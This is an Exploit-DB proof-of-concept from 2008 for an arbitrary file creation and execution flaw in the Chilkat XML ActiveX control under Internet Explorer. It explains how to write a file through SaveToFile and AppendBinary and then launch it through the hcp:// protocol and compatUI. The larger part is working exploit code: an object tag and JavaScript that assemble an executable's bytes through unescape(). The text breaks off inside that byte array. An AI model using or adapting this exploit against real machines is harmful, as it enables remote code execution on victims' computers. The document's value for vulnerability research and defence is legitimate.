Exploit-DB #6537
Description: Chilkat XML - ActiveX Arbitrary File Creation/Execution
Type: remote
Platform: windows
Date: 2008-09-23
Author: shinnai

Exploit:
-----------------------------------------------------------------------------
 Chilkat XML ActiveX Remote Arbitrary File Creation/Execution
 url: www.chilkatsoft.com

 File: ChilkatUtil.dll <= 3.0.3.0
 CLSID: {5022FAE8-B780-4B78-B8DC-1AF1145A4F42}
 ProgID: ChilkatUtil.CkData.1
 Descr.: Chilkat CkData

 Marked as:
 RegKey Safe for Script: False
 RegKey Safe for Init: False
 Implements IObjectSafety: True
 IDisp Safe: Safe for untrusted: caller,data
 IPersist Safe: Safe for untrusted: caller,data
 IPStorage Safe: Safe for untrusted: caller,data 
 
 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 Tested on Windows XP Professional SP3 all patched, with Internet Explorer 7

 Description:
 "SaveToFile()" and "SaveToTempFile()" methods allow to save/overwrite a
 specified file passed as argument to "filename" or "templateFilename"
 parameter.
 Through the "AppendBinary()" method is possible to write arbitrary bytes
 into the created file.
 In this poc you'll see that I:
 
 1) var HelloWorld contains bytes of an executable written in C++ and
    compiled with gcc. The source is simply as follow:

    #include "stdafx.h"
    #include "stdlib.h"
    int main(int argc, char* argv[]){
	    printf("Hello World!\n");
	    system("PAUSE");
	    return 0;}

 2) this file will be written in "c:\HelloWorld.exe"
 3) var myHcpProto symply contains these lines:

    <object classid='clsid:0355854A-7F23-47E2-B7C3-97EE8DD42CD8' id='compatUI'></object>
    <script language='vbscript'>
    compatUI.RunApplication 1, "C:\HelloWorld.exe", 1
    </script>
 
 as you can see, I used a Microsoft control (compatUI.dll) which runs only
 from local machine (remote use is not allowed).

 4) this file will be written in C:\WINDOWS\PCHealth\HelpCtr\System\sysinfo
 5) through the "hcp://" protocol (suggested by rgod), you can execute the
    file.

 Note that I used unicode format because if you just pass to the control
 a string, it will write bytes in unicode way, for example:
 
 test.AppendBynary("AA") 
 test.SaveToFile("C:\MyFile.txt")

 will create a file which will contain these buter: 41004100

 and this is not good for executable files :-)
-----------------------------------------------------------------------------

<object classid='clsid:5022FAE8-B780-4B78-B8DC-1AF1145A4F42' id='test'></object>
<script language='javascript'>
 var HelloWorld = unescape("%u5A4D%u0090%u0003%u0000%u0004%u0000%uFFFF%u0000" +
                           "%u00B8%u0000%u0000%u0000%u0040%u0000%u0000%u0000" +
                           "%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000" +
                           "%u0000%u0000%u0000%u0000%u0000%u0000%u0080%u0000" +
                           "%u1F0E%u0EBA%uB400%uCD09%uB821%u4C01%u21CD%u6854" +
                           "%u7369%u7020%u6F72%u7267%u6D61%u6320%u6E61%u6F6E" +
                           "%u2074%u6562%u7220%u6E75%u6920%u206E%u4F44%u2053" +
                           "%u6F6D%u6564%u0D2E%u0A0D%u0024%u0000%u0000%u0000" +
                           "%u4550%u0000%u014C%u0005%uA3DC%u48D7%u1600%u0000" +
                           "%u01CF%u0000%u00E0%u0307%u010B%u3802%u0A00%u0000" +
                           "%u1200%u0000%u0200%u0000%u1220%u0000%u1000%u0000" +
                           "%u2000%u0000%u0000%u0040%u1000%u0000%u0200%u0000" +
                           "%u0004%u0000%u0001%u0000%u0004%u0000%u0000%u0000" +
                           "%u6000%u0000%u0400%u0000%u1E37%u0001%u0003%u0000" +
                           "%u0000%u0020%u1000%u0000%u0000%u0010%u1000%u0000" +
                           "%u0000%u0000%u0010%u0000%u0000%u0000%u0000%u0000" +
                           "%u5000%u0000%u02AC%u0000%u0000%u0000%u0000%u0000" +
                           "%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000" +
                           "%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000" +
                           "%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000" +
                           "%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000" +
                           "%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000" +
                           "%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000" +
                           "%u0000%u0000%u0000%u0000%u742E%u7865%u0074%u0000" +
                           "%u08F4%u0000%u1000%u0000%u0A00%u0000%u0400%u0000" +
                           "%u0000%u0000%u0000%u0000%u0000%u0000%u0060%u6000" +
                           "%u642E%u7461%u0061%u0000%u0040%u0000%u2000%u0000" +
                           "%u0200%u0000%u0E00%u0000%u0000%u0000%u0000%u0000" +
                           "%u0000%u0000%u0040%uC000%u722E%u6164%u6174%u0000" +
                           "%u0100%u0000%u3000%u0000%u0200%u0000%u1000%u0000" +
                           "%u0000%u0000%u0000%u0000%u0000%u0000%u0040%u4000" +
                           "%u622E%u7373%u0000%u0000%u00B0%u0000%u4000%u0000" +
                           "%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000" +
                           "%u0000%u0000%u0080%uC000%u692E%u6164%u6174%u0000" +
                           "%u02AC%u0000%u5000%u0000%u0400%u0000%u1200%u0000" +
                           "%u0000%u0000%u0000%u0000%u0000%u0000%u0040%uC000" +
                           "%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000" +
                           "%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000" +
                           "%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000" +
                           "%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000" +
                           "%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000" +
                           "%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000" +